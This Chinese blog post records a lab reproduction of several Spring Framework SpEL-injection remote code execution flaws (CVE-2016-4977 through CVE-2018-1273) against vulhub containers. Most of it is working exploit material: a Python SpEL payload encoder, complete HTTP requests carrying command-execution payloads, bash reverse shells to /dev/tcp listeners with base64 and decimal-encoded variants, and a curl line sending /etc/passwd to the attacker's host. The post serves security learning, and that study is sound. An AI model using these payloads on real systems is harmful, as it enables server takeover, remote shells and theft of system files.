spring复现-不太详细

参考:https://cloud.tencent.com/developer/article/1841461?from=article.detail.1853055
在这里插入图片描述

Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

Spring Security OAuth
是为 Spring 框架提供安全认证支持的一个模块。
在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),
攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
故是在需要知道 账号密码 的前提下才可以利用该漏洞。

docker-compose up -d

启动完成后,访问 http://192.168.33.130:8080/ 即可看到web页面。
在这里插入图片描述访问http://192.168.33.130:8080/oauth/authorize?response_type=${3*3}&client_id=acme&scope=openid&redirect_uri=http://test。用户名和密码是admin:admin

输入SpEL表达式 ${3*3} 成功执行并返回结果:表示漏洞存在
在这里插入图片描述

漏洞利用

  1. 写 poc1.py
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
	poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

输入whoami生成spel格式的payload代码
在这里插入图片描述
将该payload代码加入进response_type参数部分,得到payload
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

http://192.168.33.130:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

我自己生成payload总不能用啊啊啊啊
最后还是复制了原文的payload
才获取到信息
执行payload 返回了进程,表示代码执行了,但这没有回显,是无回显RCE
在这里插入图片描述可是这个whoami是谁呢,是网站权限?

在这里插入图片描述
4)无回显 结合nc得到回显内容

Kali Linux:nc -vlp 7766
靶机上:curl 192.168.33.129:7766 -d “$(cat /etc/passwd)”
在这里插入图片描述
在这里插入图片描述
看起来好像不太成功的样子
换个命令执行
成功把靶机whoami的执行结果shannon返回
在这里插入图片描述

在这里插入图片描述
5)payload二次变形

将下面的代码绕过exec()变形

bash -i >& /dev/tcp/192.168.33.129/7766 0>&1

通过网址:http://www.jackson-t.ca/runtime-exec-payloads.html
得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS83NzY2IDA+JjE=}|{base64,-d}|{bash,-i}

在这里插入图片描述我佛了,,,,生成了几个屏幕都装不下的payload
再放入上面的POC中,得到url
依然不成功
在这里插入图片描述

Spring Web Flow 远程代码执行漏洞(CVE-2017-4971)

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

Spring Web Flow 主要用于解决跨越多个请求的、用户与服务器之间的、有状态交互问题。当用户使用Spring Web Flow受影响的版本时,
如果配置了view-state,但是没有配置相应的binder,并且没有更改useSpringBeanBinding默认的false值,
当攻击者构造特殊的http请求时,就可以导致SpEL表达式注入,从而造成远程代码执行漏洞。

触发条件

  1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

  2. flow view对象中设置BinderConfiguration对象为空

在这里插入图片描述
然后访问id为1的酒店http://192.168.33.130:8080/hotels/1,
点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

再点击确认“Confirm”:
此时抓包 拦截,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)需要url 编码

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.33.129/21+0>%261")).start()=vulhub

在这里插入图片描述
在这里插入图片描述分析:Spring Web Flow 在 Model 的数据绑定上面,由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行
https://paper.seebug.org/322/

Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

Spring Data Rest服务器在处理PATCH请求时存在一个远程代码执行漏洞。
攻击者通过构造好的JSON数据来执行任意Java代码。

等待环境启动完成,然后访问http://your-ip:8080/即可看到json格式的返回值,说明这是一个Restful风格的API服务器。
在这里插入图片描述在这里插入图片描述

复现

访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之:
在这里插入图片描述

抓包修改请求

PATCH /customers/1 HTTP/1.1
Host: 192.168.33.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: smile=1D1; hFyU_2132_ulastactivity=d258xq6rCRc3eY20NrjSAJewCIdQcKoRVjGF1P%2BGLHLUEZ0N2%2B%2Bv; hFyU_2132_nofavfid=1; JSESSIONID=87EB730C1C34779A0C951745922870F5
Upgrade-Insecure-Requests: 1
Content-Type: application/json-patch+json
Content-Length: 200

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

Content-Type: application/json-patch+json这句不要忘记加

path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
表示的命令是 touch /tmp/success。然后进入容器docker-compose exec spring bash看看:
在这里插入图片描述
新命令get,下次不用敲老长了
在这里插入图片描述

反弹shell

对 http://192.168.33.130:8080/customers/1 进行抓包,修改数据,执行的代码被编码为十进制位于new java.lang.String(new byte[]{xxxxxx})中

反弹shell命令:需绕过exec()编码 https://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.33.129/7733 0>&1
绕过 ↓
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS83NzMzIDA+JjE=}|{base64,-d}|{bash,-i}

转为十进制,编码后得到:

python3
>>> ",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS83NzMzIDA+JjE=}|{base64,-d}|{bash,-i}"))))

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,122,76,106,69,121,79,83,56,51,78,122,77,122,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

在这里插入图片描述抓包 http://192.168.33.130:8080/customers/1 修改,构成数据包:

PATCH /customers/1 HTTP/1.1
Host: 192.168.33.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: smile=1D1; hFyU_2132_ulastactivity=d258xq6rCRc3eY20NrjSAJewCIdQcKoRVjGF1P%2BGLHLUEZ0N2%2B%2Bv; hFyU_2132_nofavfid=1
Upgrade-Insecure-Requests: 1
Content-Type: application/json-patch+json
If-Modified-Since: Thu, 11 Nov 2021 09:40:07 GMT
If-None-Match: "0"
Content-Length: 490

[
    { "op": "replace", 
      "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,77,122,76,106,69,121,79,83,56,51,78,122,77,122,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
      "value": "vulhub" 
    }
]

攻击机 监听:
在这里插入图片描述
发包 ~~~
在这里插入图片描述
在这里插入图片描述
漏洞分析

https://blog.spoock.com/2018/05/22/cve-2017-8046/

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。

spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:
现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为:

  1. 用STOMP协议将数据组合成一个文本流
  2. 用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

所以我们可以使用http来复现漏洞,称之为“降维打击”。

漏洞利用

1)访问网址http://192.168.33.130:8080/gs-guide-websocket
在这里插入图片描述
2)修改payload,反弹shell

bash -i >& /dev/tcp/192.168.33.129/7733 0>&1
java.lang.Runtime.exec()编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMzLjEyOS83NzMzIDA+JjE=}|{base64,-d}|{bash,-i}

编写 exploit.py
在这里插入图片描述

执行命令(需要用python3.6执行)(我这里也不是3.6,运行也成功监听到了)

python3 exploit.py

在这里插入图片描述漏洞原理
https://paper.seebug.org/562/

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架 包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。
此漏洞产生于Spring Data Commons组件是Spring Data下所有子项目共享的基础框架,适合各个子项目使用,支持跨数据库持久化。
Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令,直接获取服务器控制权限。
在这里插入图片描述1)访问http://192.168.112.141:8080/users,提交注册信息,抓包

2)修改包数据,尝试获取权限

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.33.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
Origin: http://192.168.33.130:8080
Connection: close
Referer: http://192.168.33.130:8080/users
Cookie: smile=1D1; hFyU_2132_ulastactivity=d258xq6rCRc3eY20NrjSAJewCIdQcKoRVjGF1P%2BGLHLUEZ0N2%2B%2Bv; hFyU_2132_nofavfid=1
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=qwe&password=123456&repeatedPassword=123456

成功创建了success文件
在这里插入图片描述
漏洞原理

http://blog.nsfocus.net/cve-2018-1273-analysis/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值